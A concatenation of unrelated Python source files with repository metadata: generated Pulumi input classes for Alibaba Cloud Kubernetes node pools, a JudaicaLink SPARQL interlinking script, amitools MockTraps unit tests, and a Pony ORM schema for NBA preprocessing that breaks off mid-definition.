Alicloud account. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="performanceLevel") def performance_level(self) -> Optional[pulumi.Input[str]]: """ Worker node data disk performance level, when `category` values `cloud_essd`, the optional values are `PL0`, `PL1`, `PL2` or `PL3`, but the specific performance level is related to the disk capacity. For more information, see [Enhanced SSDs](https://www.alibabacloud.com/help/doc-detail/122389.htm). Default is `PL1`. """ return pulumi.get(self, "performance_level") @performance_level.setter def performance_level(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "performance_level", value) @property @pulumi.getter def size(self) -> Optional[pulumi.Input[str]]: """ The size of a data disk, at least 40. Unit: GiB. """ return pulumi.get(self, "size") @size.setter def size(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "size", value) @property @pulumi.getter(name="snapshotId") def snapshot_id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "snapshot_id") @snapshot_id.setter def snapshot_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "snapshot_id", value) @pulumi.input_type class ManagedKubernetesWorkerNodeArgs: def __init__(__self__, *, id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, private_ip: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] id: ID of the node. :param pulumi.Input[str] name: The kubernetes cluster's name. It is unique in one Alicloud account. :param pulumi.Input[str] private_ip: The private IP address of node. """ if id is not None: pulumi.set(__self__, "id", id) if name is not None: pulumi.set(__self__, "name", name) if private_ip is not None: pulumi.set(__self__, "private_ip", private_ip) @property @pulumi.getter def id(self) -> Optional[pulumi.Input[str]]: """ ID of the node. """ return pulumi.get(self, "id") @id.setter def id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "id", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The kubernetes cluster's name. It is unique in one Alicloud account. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="privateIp") def private_ip(self) -> Optional[pulumi.Input[str]]: """ The private IP address of node. """ return pulumi.get(self, "private_ip") @private_ip.setter def private_ip(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "private_ip", value) @pulumi.input_type class NodePoolDataDiskArgs: def __init__(__self__, *, auto_snapshot_policy_id: Optional[pulumi.Input[str]] = None, category: Optional[pulumi.Input[str]] = None, device: Optional[pulumi.Input[str]] = None, encrypted: Optional[pulumi.Input[str]] = None, kms_key_id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, performance_level: Optional[pulumi.Input[str]] = None, size: Optional[pulumi.Input[int]] = None, snapshot_id: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] category: The type of the data disks. Valid values:`cloud`, `cloud_efficiency`, `cloud_ssd` and `cloud_essd`. :param pulumi.Input[str] encrypted: Specifies whether to encrypt data disks. Valid values: true and false. Default to `false`. :param pulumi.Input[str] name: The name of node pool. :param pulumi.Input[str] performance_level: Worker node data disk performance level, when `category` values `cloud_essd`, the optional values are `PL0`, `PL1`, `PL2` or `PL3`, but the specific performance level is related to the disk capacity. For more information, see [Enhanced SSDs](https://www.alibabacloud.com/help/doc-detail/122389.htm). Default is `PL1`. :param pulumi.Input[int] size: The size of a data disk, Its valid value range [40~32768] in GB. Default to `40`. """ if auto_snapshot_policy_id is not None: pulumi.set(__self__, "auto_snapshot_policy_id", auto_snapshot_policy_id) if category is not None: pulumi.set(__self__, "category", category) if device is not None: pulumi.set(__self__, "device", device) if encrypted is not None: pulumi.set(__self__, "encrypted", encrypted) if kms_key_id is not None: pulumi.set(__self__, "kms_key_id", kms_key_id) if name is not None: pulumi.set(__self__, "name", name) if performance_level is not None: pulumi.set(__self__, "performance_level", performance_level) if size is not None: pulumi.set(__self__, "size", size) if snapshot_id is not None: pulumi.set(__self__, "snapshot_id", snapshot_id) @property @pulumi.getter(name="autoSnapshotPolicyId") def auto_snapshot_policy_id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "auto_snapshot_policy_id") @auto_snapshot_policy_id.setter def auto_snapshot_policy_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "auto_snapshot_policy_id", value) @property @pulumi.getter def category(self) -> Optional[pulumi.Input[str]]: """ The type of the data disks. Valid values:`cloud`, `cloud_efficiency`, `cloud_ssd` and `cloud_essd`. """ return pulumi.get(self, "category") @category.setter def category(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "category", value) @property @pulumi.getter def device(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "device") @device.setter def device(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "device", value) @property @pulumi.getter def encrypted(self) -> Optional[pulumi.Input[str]]: """ Specifies whether to encrypt data disks. Valid values: true and false. Default to `false`. """ return pulumi.get(self, "encrypted") @encrypted.setter def encrypted(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "encrypted", value) @property @pulumi.getter(name="kmsKeyId") def kms_key_id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "kms_key_id") @kms_key_id.setter def kms_key_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "kms_key_id", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of node pool. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="performanceLevel") def performance_level(self) -> Optional[pulumi.Input[str]]: """ Worker node data disk performance level, when `category` values `cloud_essd`, the optional values are `PL0`, `PL1`, `PL2` or `PL3`, but the specific performance level is related to the disk capacity. For more information, see [Enhanced SSDs](https://www.alibabacloud.com/help/doc-detail/122389.htm). Default is `PL1`. """ return pulumi.get(self, "performance_level") @performance_level.setter def performance_level(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "performance_level", value) @property @pulumi.getter def size(self) -> Optional[pulumi.Input[int]]: """ The size of a data disk, Its valid value range [40~32768] in GB. Default to `40`. """ return pulumi.get(self, "size") @size.setter def size(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "size", value) @property @pulumi.getter(name="snapshotId") def snapshot_id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "snapshot_id") @snapshot_id.setter def snapshot_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "snapshot_id", value) @pulumi.input_type class NodePoolLabelArgs: def __init__(__self__, *, key: pulumi.Input[str], value: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] key: The label key. :param pulumi.Input[str] value: The label value. """ pulumi.set(__self__, "key", key) if value is not None: pulumi.set(__self__, "value", value) @property @pulumi.getter def key(self) -> pulumi.Input[str]: """ The label key. """ return pulumi.get(self, "key") @key.setter def key(self, value: pulumi.Input[str]): pulumi.set(self, "key", value) @property @pulumi.getter def value(self) -> Optional[pulumi.Input[str]]: """ The label value. """ return pulumi.get(self, "value") @value.setter def value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "value", value) @pulumi.input_type class NodePoolManagementArgs: def __init__(__self__, *, max_unavailable: pulumi.Input[int], auto_repair: Optional[pulumi.Input[bool]] = None, auto_upgrade: Optional[pulumi.Input[bool]] = None, surge: Optional[pulumi.Input[int]] = None, surge_percentage: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] max_unavailable: Max number of unavailable nodes. Default to `1`. :param pulumi.Input[bool] auto_repair: Whether automatic repair, Default to `false`. :param pulumi.Input[bool] auto_upgrade: Whether auto upgrade, Default to `false`. :param pulumi.Input[int] surge: Number of additional nodes. You have to specify one of surge, surge_percentage. :param pulumi.Input[int] surge_percentage: Proportion of additional nodes. You have to specify one of surge, surge_percentage. """ pulumi.set(__self__, "max_unavailable", max_unavailable) if auto_repair is not None: pulumi.set(__self__, "auto_repair", auto_repair) if auto_upgrade is not None: pulumi.set(__self__, "auto_upgrade", auto_upgrade) if surge is not None: pulumi.set(__self__, "surge", surge) if surge_percentage is not None: pulumi.set(__self__, "surge_percentage", surge_percentage) @property @pulumi.getter(name="maxUnavailable") def max_unavailable(self) -> pulumi.Input[int]: """ Max number of unavailable nodes. Default to `1`. """ return pulumi.get(self, "max_unavailable") @max_unavailable.setter def max_unavailable(self, value: pulumi.Input[int]): pulumi.set(self, "max_unavailable", value) @property @pulumi.getter(name="autoRepair") def auto_repair(self) -> Optional[pulumi.Input[bool]]: """ Whether automatic repair, Default to `false`. """ return pulumi.get(self, "auto_repair") @auto_repair.setter def auto_repair(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "auto_repair", value) @property @pulumi.getter(name="autoUpgrade") def auto_upgrade(self) -> Optional[pulumi.Input[bool]]: """ Whether auto upgrade, Default to `false`. """ return pulumi.get(self, "auto_upgrade") @auto_upgrade.setter def auto_upgrade(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "auto_upgrade", value) @property @pulumi.getter def surge(self) -> Optional[pulumi.Input[int]]: """ Number of additional nodes. You have to specify one of surge, surge_percentage. """ return pulumi.get(self, "surge") @surge.setter def surge(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "surge", value) @property @pulumi.getter(name="surgePercentage") def surge_percentage(self) -> Optional[pulumi.Input[int]]: """ Proportion of additional nodes. You have to specify one of surge, surge_percentage. """ return pulumi.get(self, "surge_percentage") @surge_percentage.setter def surge_percentage(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "surge_percentage", value) @pulumi.input_type class NodePoolScalingConfigArgs: def __init__(__self__, *, max_size: pulumi.Input[int], min_size: pulumi.Input[int], eip_bandwidth: Optional[pulumi.Input[int]] = None, eip_internet_charge_type: Optional[pulumi.Input[str]] = None, is_bond_eip: Optional[pulumi.Input[bool]] = None, type: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[int] max_size: Max number of instances in a auto scaling group, its valid value range [0~1000]. `max_size` has to be greater than `min_size`. :param pulumi.Input[int] min_size: Min number of instances in a auto scaling group, its valid value range [0~1000]. :param pulumi.Input[int] eip_bandwidth: Peak EIP bandwidth. Its valid value range [1~500] in Mbps. Default to `5`. :param pulumi.Input[str] eip_internet_charge_type: EIP billing type. `PayByBandwidth`: Charged at fixed bandwidth. `PayByTraffic`: Billed as used traffic. Default: `PayByBandwidth`. Conflict with `internet_charge_type`, EIP and public network IP can only choose one. :param pulumi.Input[bool] is_bond_eip: Whether to bind EIP for an instance. Default: `false`. :param pulumi.Input[str] type: Instance classification, not required. Vaild value: `cpu`, `gpu`, `gpushare` and `spot`. Default: `cpu`. The actual instance type is determined by `instance_types`. """ pulumi.set(__self__, "max_size", max_size) pulumi.set(__self__, "min_size", min_size) if eip_bandwidth is not None: pulumi.set(__self__, "eip_bandwidth", eip_bandwidth) if eip_internet_charge_type is not None: pulumi.set(__self__, "eip_internet_charge_type", eip_internet_charge_type) if is_bond_eip is not None: pulumi.set(__self__, "is_bond_eip", is_bond_eip) if type is not None: pulumi.set(__self__, "type", type) @property @pulumi.getter(name="maxSize") def max_size(self) -> pulumi.Input[int]: """ Max number of instances in a auto scaling group, its valid value range [0~1000]. `max_size` has to be greater than `min_size`. """ return pulumi.get(self, "max_size") @max_size.setter def max_size(self, value: pulumi.Input[int]): pulumi.set(self, "max_size", value) @property @pulumi.getter(name="minSize") def min_size(self) -> pulumi.Input[int]: """ Min number of instances in a auto scaling group, its valid value range [0~1000]. """ return pulumi.get(self, "min_size") @min_size.setter def min_size(self, value: pulumi.Input[int]): pulumi.set(self, "min_size", value) @property @pulumi.getter(name="eipBandwidth") def eip_bandwidth(self) -> Optional[pulumi.Input[int]]: """ Peak EIP bandwidth. Its valid value range [1~500] in Mbps. Default to `5`. """ return pulumi.get(self, "eip_bandwidth") @eip_bandwidth.setter def eip_bandwidth(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "eip_bandwidth", value) @property @pulumi.getter(name="eipInternetChargeType") def eip_internet_charge_type(self) -> Optional[pulumi.Input[str]]: """ EIP billing type. `PayByBandwidth`: Charged at fixed bandwidth. `PayByTraffic`: Billed as used traffic. Default: `PayByBandwidth`. Conflict with `internet_charge_type`, EIP and public network IP can only choose one. """ return pulumi.get(self, "eip_internet_charge_type") @eip_internet_charge_type.setter def eip_internet_charge_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "eip_internet_charge_type", value) @property @pulumi.getter(name="isBondEip") def is_bond_eip(self) -> Optional[pulumi.Input[bool]]: """ Whether to bind EIP for an instance. Default: `false`. """ return pulumi.get(self, "is_bond_eip") @is_bond_eip.setter def is_bond_eip(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "is_bond_eip", value) @property @pulumi.getter def type(self) -> Optional[pulumi.Input[str]]: """ Instance classification, not required. Vaild value: `cpu`, `gpu`, `gpushare` and `spot`. Default: `cpu`. The actual instance type is determined by `instance_types`. """ return pulumi.get(self, "type") @type.setter def type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "type", value) @pulumi.input_type class NodePoolSpotPriceLimitArgs: def __init__(__self__, *, instance_type: Optional[pulumi.Input[str]] = None, price_limit: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] instance_type: Spot instance type. :param pulumi.Input[str] price_limit: The maximum hourly price of the spot instance. """ if instance_type is not None: pulumi.set(__self__, "instance_type", instance_type) if price_limit is not None: pulumi.set(__self__, "price_limit", price_limit) @property @pulumi.getter(name="instanceType") def instance_type(self) -> Optional[pulumi.Input[str]]: """ Spot instance type. """ return pulumi.get(self, "instance_type") @instance_type.setter def instance_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "instance_type", value) @property @pulumi.getter(name="priceLimit") def price_limit(self) -> Optional[pulumi.Input[str]]: """ The maximum hourly price of the spot instance. """ return pulumi.get(self, "price_limit") @price_limit.setter def price_limit(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "price_limit", value) @pulumi.input_type class NodePoolTaintArgs: def __init__(__self__, *, key: pulumi.Input[str], effect: Optional[pulumi.Input[str]] = None, value: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] key: The label key. :param pulumi.Input[str] value: The label value. """ pulumi.set(__self__, "key", key) if effect is not None: pulumi.set(__self__, "effect", effect) if value is not None: pulumi.set(__self__, "value", value) @property @pulumi.getter def key(self) -> pulumi.Input[str]: """ The label key. """ return pulumi.get(self, "key") @key.setter def key(self, value: pulumi.Input[str]): pulumi.set(self, "key", value) @property @pulumi.getter def effect(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "effect") @effect.setter def effect(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "effect", value) @property @pulumi.getter def value(self) -> Optional[pulumi.Input[str]]: """ The label value. """ return pulumi.get(self, "value") @value.setter def value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "value", value) @pulumi.input_type class ServerlessKubernetesAddonArgs: def __init__(__self__, *, config: Optional[pulumi.Input[str]] = None, disabled: Optional[pulumi.Input[bool]] = None, name: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] config: The ACK add-on configurations. :param pulumi.Input[bool] disabled: Disables the automatic installation of a component. Default is `false`. :param pulumi.Input[str] name: Name of the ACK add-on. The name must match one of the names returned by [DescribeAddons](https://help.aliyun.com/document_detail/171524.html). """ if config is not None: pulumi.set(__self__, "config", config) if disabled is not None: pulumi.set(__self__, "disabled", disabled) if name is not None: pulumi.set(__self__, "name", name) @property @pulumi.getter def config(self) -> Optional[pulumi.Input[str]]: """ The ACK add-on configurations. """ return pulumi.get(self, "config") @config.setter def config(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "config", value) @property @pulumi.getter def disabled(self) -> Optional[pulumi.Input[bool]]: """ Disables the automatic installation of a component. Default is `false`. """ return pulumi.get(self, "disabled") @disabled.setter def disabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "disabled", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Name of the ACK add-on. The name must match one of the names returned by [DescribeAddons](https://help.aliyun.com/document_detail/171524.html). """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @pulumi.input_type class SwarmNodeArgs: def __init__(__self__, *, eip: Optional[pulumi.Input[str]] = None, id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, private_ip: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[str]] = None): if eip is not None: pulumi.set(__self__, "eip", eip) if id is not None: pulumi.set(__self__, "id", id) if name is not None: pulumi.set(__self__, "name", name) if private_ip is not None: pulumi.set(__self__, "private_ip", private_ip) if status is not None: pulumi.set(__self__, "status", status) @property @pulumi.getter def eip(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "eip") @eip.setter def eip(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "eip", value) @property @pulumi.getter def id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "id") @id.setter def id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "id", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="privateIp") def private_ip(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "private_ip") @private_ip.setter def private_ip(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "private_ip", value) @property @pulumi.getter def status(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "status") @status.setter def status(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "status", value) @pulumi.input_type class GetKubernetesPermissionPermissionArgs: def __init__(__self__, *, resource_id: str, resource_type: str, role_name: str, is_owner: Optional[bool] = None, is_ram_role: Optional[bool] = None, role_type: Optional[str] = None): """ :param str resource_id: The permission settings to manage ACK clusters. :param str resource_type: The authorization type. Valid values `cluster`, `namespace` and `console`. :param str role_name: The name of the predefined role. If a custom role is assigned, the value is the name of the assigined custom role. :param bool is_owner: ndicates whether the permissions are granted to the cluster owner. Valid values `0`, `1`. * `is_ram_role` -Indicates whether the permissions are granted to the RAM role. Valid values `0`,`1`. :param str role_type: The predefined role. Valid values `admin`,`ops`,`dev`,`restricted` and `custom`. """ pulumi.set(__self__, "resource_id", resource_id) pulumi.set(__self__, "resource_type", resource_type) pulumi.set(__self__, "role_name", role_name) if is_owner is not None: pulumi.set(__self__, "is_owner", is_owner) if is_ram_role is not None: pulumi.set(__self__, "is_ram_role", is_ram_role) if role_type is not None: pulumi.set(__self__, "role_type", role_type) @property @pulumi.getter(name="resourceId") def resource_id(self) -> str: """ The permission settings to manage ACK clusters. """ return pulumi.get(self, "resource_id") @resource_id.setter def resource_id(self, value: str): pulumi.set(self, "resource_id", value) @property @pulumi.getter(name="resourceType") def resource_type(self) -> str: """ The authorization type. Valid values `cluster`, `namespace` and `console`. """ return pulumi.get(self, "resource_type") @resource_type.setter def resource_type(self, value: str): pulumi.set(self, "resource_type", value) @property @pulumi.getter(name="roleName") def role_name(self) -> str: """ The name of the predefined role. If a custom role is assigned, the value is the name of the assigined custom role. """ return pulumi.get(self, "role_name") @role_name.setter def role_name(self, value: str): pulumi.set(self, "role_name", value) @property @pulumi.getter(name="isOwner") def is_owner(self) -> Optional[bool]: """ ndicates whether the permissions are granted to the cluster owner. Valid values `0`, `1`. * `is_ram_role` -Indicates whether the permissions are granted to the RAM role. Valid values `0`,`1`. """ return pulumi.get(self, "is_owner") @is_owner.setter def is_owner(self, value: Optional[bool]): pulumi.set(self, "is_owner", value) @property @pulumi.getter(name="isRamRole") def is_ram_role(self) -> Optional[bool]: return pulumi.get(self, "is_ram_role") @is_ram_role.setter def is_ram_role(self, value: Optional[bool]): pulumi.set(self, "is_ram_role", value) @property @pulumi.getter(name="roleType") def role_type(self) -> Optional[str]: """ The predefined role. Valid values `admin`,`ops`,`dev`,`restricted` and `custom`. """ return pulumi.get(self, "role_type") @role_type.setter def role_type(self, value: Optional[str]): pulumi.set(self, "role_type", value)

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0

9

73b8a65698ca533e97614e589e1fff5364310344

5,039

py

Python

interlinks/scripts/JudaicaLink-interlink-02.py

judaicalink/judaicalink-generators

845dbd6886fa82ec45adf16ba08fad9d26169419

[ "MIT" ]

1

2020-09-20T17:00:05.000Z

interlinks/scripts/JudaicaLink-interlink-02.py

wisslab/judaicalink-generators

845dbd6886fa82ec45adf16ba08fad9d26169419

[ "MIT" ]

null

interlinks/scripts/JudaicaLink-interlink-02.py

wisslab/judaicalink-generators

845dbd6886fa82ec45adf16ba08fad9d26169419

[ "MIT" ]

null

#Maral Dadvar #02/10/2017 #This scripts look sfor sameAs lines between bhr and JudaicaLink import unicodedata import os , glob import rdflib from rdflib import Namespace, URIRef, Graph , Literal , OWL, RDFS , RDF from SPARQLWrapper import SPARQLWrapper2, XML , JSON , TURTLE import re import pprint os.chdir('C:\Users\Maral\Desktop') sparql = SPARQLWrapper2("http://localhost:3030/Datasets/sparql") foaf = Namespace("http://xmlns.com/foaf/0.1/") rdf = Namespace("http://www.w3.org/1999/02/22-rdf-syntax-ns#") jl = Namespace("http://data.judaicalink.org/ontology/") skos = Namespace("http://www.w3.org/2004/02/skos/core#") owl = Namespace("http://www.w3.org/2002/07/owl#") g = Graph() g.bind('foaf',foaf) g.bind('jl',jl) g.bind('skos',skos) g.bind('owl',owl) spar1= """ PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> PREFIX gndo: <http://d-nb.info/standards/elementset/gnd#> PREFIX pro: <http://purl.org/hpi/patchr#> PREFIX owl: <http://www.w3.org/2002/07/owl#> PREFIX edm: <http://www.europeana.eu/schemas/edm/> PREFIX dc: <http://purl.org/dc/elements/1.1/> PREFIX foaf: <http://xmlns.com/foaf/0.1/> PREFIX skos: <http://www.w3.org/2004/02/skos/core#> PREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> PREFIX dblp: <http://dblp.org/rdf/schema-2015-01-26#> PREFIX dcterms: <http://purl.org/dc/terms/> PREFIX dbpedia: <http://dbpedia.org/resource/> PREFIX jl: <http://data.judaicalink.org/ontology/> PREFIX gnd: <http://d-nb.info/gnd/> Select ?x ?sameas From <http://maral.wisslab.org/graphs/yivo> From <http://maral.wisslab.org/graphs/bhr> From <http://maral.wisslab.org/graphs/rujen> From <http://maral.wisslab.org/graphs/djh> From <http://maral.wisslab.org/graphs/gnd_persons> From <http://maral.wisslab.org/graphs/freimann-gnd> where{ ?x a foaf:Person. ?x owl:sameAs ?sameas. } """ sparql.setQuery(spar1) sparql.setReturnFormat(TURTLE) results = sparql.query().convert() if (u"x",u"sameas") in results: bindings = results[u"x",u"sameas"] for b in bindings: print b if 'http://data.judaicalink.org/data/bhr' in b[u"sameas"].value: g.add( (URIRef(b[u"x"].value), owl.sameAs , URIRef(b[u"sameas"].value) ) ) if 'http://data.judaicalink.org/data/yivo' in b[u"sameas"].value: g.add( (URIRef(b[u"x"].value), owl.sameAs , URIRef(b[u"sameas"].value) ) ) if 'http://data.judaicalink.org/data/djh' in b[u"sameas"].value: g.add( (URIRef(b[u"x"].value), owl.sameAs , URIRef(b[u"sameas"].value) ) ) if 'http://data.judaicalink.org/data/rujen' in b[u"sameas"].value: g.add( (URIRef(b[u"x"].value), owl.sameAs , URIRef(b[u"sameas"].value) ) ) if 'http://data.judaicalink.org/data/gnd' in b[u"sameas"].value: g.add( (URIRef(b[u"x"].value), owl.sameAs , URIRef(b[u"sameas"].value) ) ) if 'http://data.judaicalink.org/data/dbpedia' in b[u"sameas"].value: g.add( (URIRef(b[u"x"].value), owl.sameAs , URIRef(b[u"sameas"].value) ) ) spar2= """ PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> PREFIX gndo: <http://d-nb.info/standards/elementset/gnd#> PREFIX pro: <http://purl.org/hpi/patchr#> PREFIX owl: <http://www.w3.org/2002/07/owl#> PREFIX edm: <http://www.europeana.eu/schemas/edm/> PREFIX dc: <http://purl.org/dc/elements/1.1/> PREFIX foaf: <http://xmlns.com/foaf/0.1/> PREFIX skos: <http://www.w3.org/2004/02/skos/core#> PREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> PREFIX dblp: <http://dblp.org/rdf/schema-2015-01-26#> PREFIX dcterms: <http://purl.org/dc/terms/> PREFIX dbpedia: <http://dbpedia.org/resource/> PREFIX jl: <http://data.judaicalink.org/ontology/> PREFIX gnd: <http://d-nb.info/gnd/> Select ?x ?sameas where{ graph <http://maral.wisslab.org/graphs/dbpedia_persons> { ?x a foaf:Person. ?x owl:sameAs ?sameas. }} """ sparql.setQuery(spar2) sparql.setReturnFormat(TURTLE) results = sparql.query().convert() if (u"x",u"sameas") in results: bindings = results[u"x",u"sameas"] for b in bindings: print b if 'http://data.judaicalink.org/data/bhr' in b[u"sameas"].value: g.add( (URIRef(b[u"x"].value), owl.sameAs , URIRef(b[u"sameas"].value) ) ) if 'http://data.judaicalink.org/data/yivo' in b[u"sameas"].value: g.add( (URIRef(b[u"x"].value), owl.sameAs , URIRef(b[u"sameas"].value) ) ) if 'http://data.judaicalink.org/data/djh' in b[u"sameas"].value: g.add( (URIRef(b[u"x"].value), owl.sameAs , URIRef(b[u"sameas"].value) ) ) if 'http://data.judaicalink.org/data/rujen' in b[u"sameas"].value: g.add( (URIRef(b[u"x"].value), owl.sameAs , URIRef(b[u"sameas"].value) ) ) if 'http://data.judaicalink.org/data/gnd' in b[u"sameas"].value: g.add( (URIRef(b[u"x"].value), owl.sameAs , URIRef(b[u"sameas"].value) ) ) g.serialize(destination = 'interlinks-03.ttl' , format="turtle")

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null

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7

73c53775643d971d6d73ad15e29e1b86526f4469

986

py

Python

FictionTools/amitools/test/unit/machine_mocktraps.py

polluks/Puddle-BuildTools

c1762d53a33002b62d8cffe3db129505a387bec3

[ "BSD-2-Clause" ]

38

2021-06-18T12:56:15.000Z

2022-03-12T20:38:40.000Z

FictionTools/amitools/test/unit/machine_mocktraps.py

polluks/Puddle-BuildTools

c1762d53a33002b62d8cffe3db129505a387bec3

[ "BSD-2-Clause" ]

2

2021-06-20T16:28:12.000Z

2021-11-17T21:33:56.000Z

FictionTools/amitools/test/unit/machine_mocktraps.py

polluks/Puddle-BuildTools

c1762d53a33002b62d8cffe3db129505a387bec3

[ "BSD-2-Clause" ]

6

2021-06-18T18:18:36.000Z

2021-12-22T08:01:32.000Z

from amitools.vamos.machine import MockTraps def mock_traps_base_test(): t = MockTraps() a = [] def my_func(op, pc): assert op == 0xA000 assert pc == 0x42 a.append("huhu") assert t.get_num_traps() == 0 tid = t.setup(my_func) assert t.get_num_traps() == 1 assert t.get_func(tid) == my_func assert not t.is_auto_rts(tid) assert not t.is_one_shot(tid) t.trigger(tid, pc=0x42) assert a == ["huhu"] t.free(tid) assert t.get_num_traps() == 0 def mock_traps_one_shot_test(): t = MockTraps() a = [] def my_func(op, pc): assert op == 0xA000 assert pc == 0x42 a.append("huhu") assert t.get_num_traps() == 0 tid = t.setup(my_func, one_shot=True) assert t.get_num_traps() == 1 assert t.get_func(tid) == my_func assert not t.is_auto_rts(tid) assert t.is_one_shot(tid) t.trigger(tid, pc=0x42) assert a == ["huhu"] assert t.get_num_traps() == 0

22.930233

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986

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986

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1

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null

0

1

0

8

73eda429df48ad19b32145618d4c6bc1edd0c368

4,506

py

Python

nba_percolator/schema.py

naturalis/nba_percolator

606d161c8b6e4eb4f62e0bf1f417ca43e0a9028a

[ "Apache-2.0" ]

null

nba_percolator/schema.py

naturalis/nba_percolator

606d161c8b6e4eb4f62e0bf1f417ca43e0a9028a

[ "Apache-2.0" ]

null

nba_percolator/schema.py

naturalis/nba_percolator

606d161c8b6e4eb4f62e0bf1f417ca43e0a9028a

[ "Apache-2.0" ]

null

"""Dit is het NBA preprocessing database schema. Hierin zitten tabel definities waarmee import data kan worden gefilterd alvorens een import in de NBA documentstore plaatsvind. """ from datetime import datetime from pony.orm import Database, Optional, Json, Required, raw_sql db = Database() class Nsrtaxa_import(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Nsrtaxa_current(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Nsrmedia_import(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Nsrmedia_current(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Crsspecimen_import(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Crsspecimen_current(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Crsmedia_import(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Crsmedia_current(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Brahmsspecimen_import(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Brahmsspecimen_current(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Brahmsmedia_import(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Brahmsmedia_current(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Xenocantospecimen_import(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Xenocantospecimen_current(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Xenocantomedia_import(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Xenocantomedia_current(db.Entity): rec = Optional(Json) hash = 